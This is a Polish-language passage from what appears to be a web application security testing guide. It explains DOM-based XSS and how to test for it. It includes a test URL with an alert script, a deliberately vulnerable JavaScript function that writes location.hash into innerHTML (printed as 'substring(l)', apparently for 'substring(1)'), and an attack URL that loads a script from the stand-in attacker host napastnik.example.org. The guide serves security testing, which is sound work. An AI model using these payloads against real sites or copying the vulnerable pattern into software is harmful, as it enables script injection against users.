Problem
Skrypty krzyżowe bazujące na modelu DOM wykorzystują kod JavaScript po stronie klienta, który wyprowadza niezaufane dane bez filtrowania lub kodowania. Testerzy powinni mieć świadomość istnienia tej odmiany ataków XSS, ponieważ wiele tradycyjnych metod odnajdywania wrażliwości na skrypty XSS nie wykrywa pewnych typów ataków XSS bazujących na modelu DOM.
Aby przetestować wrażliwość serwisu na skrypty XSS bazujące na modelu DOM, najlepiej skorzystać z przeglądarki Internet Explorer. Powody omówiono w punkcie „DYSKUSJA" niniejszej receptury.
Wrażliwość na niektóre przypadki ataków XSS bazujących na modelu DOM można znaleźć za pomocą testów omówionych w innych recepturach w niniejszej dokumentacji. Istnieje jednak odrębny test wrażliwości na ataki XSS bazujące na modelu DOM. W przypadku podejrzeń, że określone fragmenty adresu URL są obsługiwane przez kod JavaScript po stronie klienta i wyprowadzane do przeglądarki użytkownika, można w tych fragmentach adresu URL wstawić ciągi testów podatności na ataki XSS. Na przykład jeśli do filtrowania informacji wyświetlanych w przeglądarce są wykorzystywane fragmenty adresu URL, a wartości tych fragmentów są wyświetlane użytkownikowi, to podatność na ataki XSS bazujące na modelu DOM można sprawdzić, wykorzystując adres URL podobny do pokazanego niżej.
Przykład adresu URL do wyszukiwania ataków XSS bazujących na modelu DOM
http://www.example.com/display.pl#<script>alert('XSS')</script>
Tak jak w przypadku innych testów podatności na ataki XSS wynik testu jest dodatni (aplikacja jest wrażliwa), jeśli wyświetli się okno z ostrzeżeniem.
DYSKUSJA
W kilku recepturach w niniejszej dokumentacji omawiano odbite lub składowane ataki XSS. Polegały one na wysyłaniu złośliwych danych na wrażliwy serwer, który albo odbijał je natychmiast do przeglądarki, albo gdzieś zapisywał, by przeglądarka pobrała je później. Choć ataki XSS bazujące na modelu DOM nie są tak powszechne jak inne typy ataków XSS, trzeba wykonać testy sprawdzające podatność aplikacji na ten rodzaj ataków.
Ataki XSS bazujące na modelu DOM zasadniczo różnią się od odbitych i składowanych ataków XSS, ponieważ nie wymagają interakcji klient - serwer. Wrażliwość występuje w przypadku, kiedy kod JavaScript działający po stronie klienta obsługuje dane wejściowe wprowadzane przez użytkownika i wyświetla je w jego przeglądarce bez kodowania lub filtrowania. Systemowe metody odnajdywania wrażliwości na skrypty XSS, które omówiono w recepturze 7.4, nie nadają się do wykrywania podatności na ataki XSS bazujące na modelu DOM, ponieważ sprawdzają odpowiedź serwera na wstrzyknięte ciągi znaków, a w tym przypadku kod po stronie serwera nie musi być wrażliwy na ataki XSS.
W poniższym listingu pokazano funkcję JavaScript wrażliwą na ataki XSS bazujące na modelu DOM:
<script>
function displayFragment() {
Fragment = document.createElement("div");
Fragment.innerHTML = "<h2>" + location.hash.substring(l) + "</h2>";
/* ... */
document.getElementsByTagName("body").item(0).appendChild(Fragment);
}
</script>
W tym przypadku wywołanie location.hash zwraca identyfikator fragmentu w adresie URL (razem z symbolem #). Funkcja substring(l) obcina pierwszy znak. W związku z tym, jeśli napastnik utworzy łącze podobne do tego, które pokazano w listingu 12.8, to przeglądarka ofiary uruchomi skrypt napastnika, a po stronie serwera nie będzie żadnego śladu ataku.
Przykład adresu URL wykorzystującego wrażliwość aplikacji na atak XSS bazujący na modelu DOM
http://www.example.com/display#<script
src='http://napastnik.example.org/xss.js'></script>
Testowanie wrażliwości na ataki XSS bazujące na modelu DOM wymaga dynamicznej analizy kodu JavaScript działającego po stronie klienta. Jednym ze sposobów na przeprowadzenie takiej analizy są interaktywne testy z wykorzystaniem przeglądarki WWW. Do wykonania takich testów najlepiej skorzystać z przeglądarki Internet Explorer, ponieważ niektóre przeglądarki, na przykład Mozilla Firefox, automatycznie kodują wybrane znaki w adresie URL, na przykład < i > odpowiednio na %3C i %3E. W związku z tym, jeśli nie przeprowadzi się dekodowania URL za pomocą kodu JavaScript, exploit w takich przeglądarkach może nie zadziałać.
Należy zwrócić uwagę, że wykorzystując interaktywne metody wyszukiwania problemów XSS, można również znaleźć niektóre problemy dotyczące ataków XSS bazujących na modelu DOM. W przypadku tych ataków ważne jest, aby testować dane wejściowe, które mogą być obsłużone wyłącznie po stronie klienta (na przykład fragmenty adresu URL). Testowanie samych interakcji klient - serwer jest niewystarczające.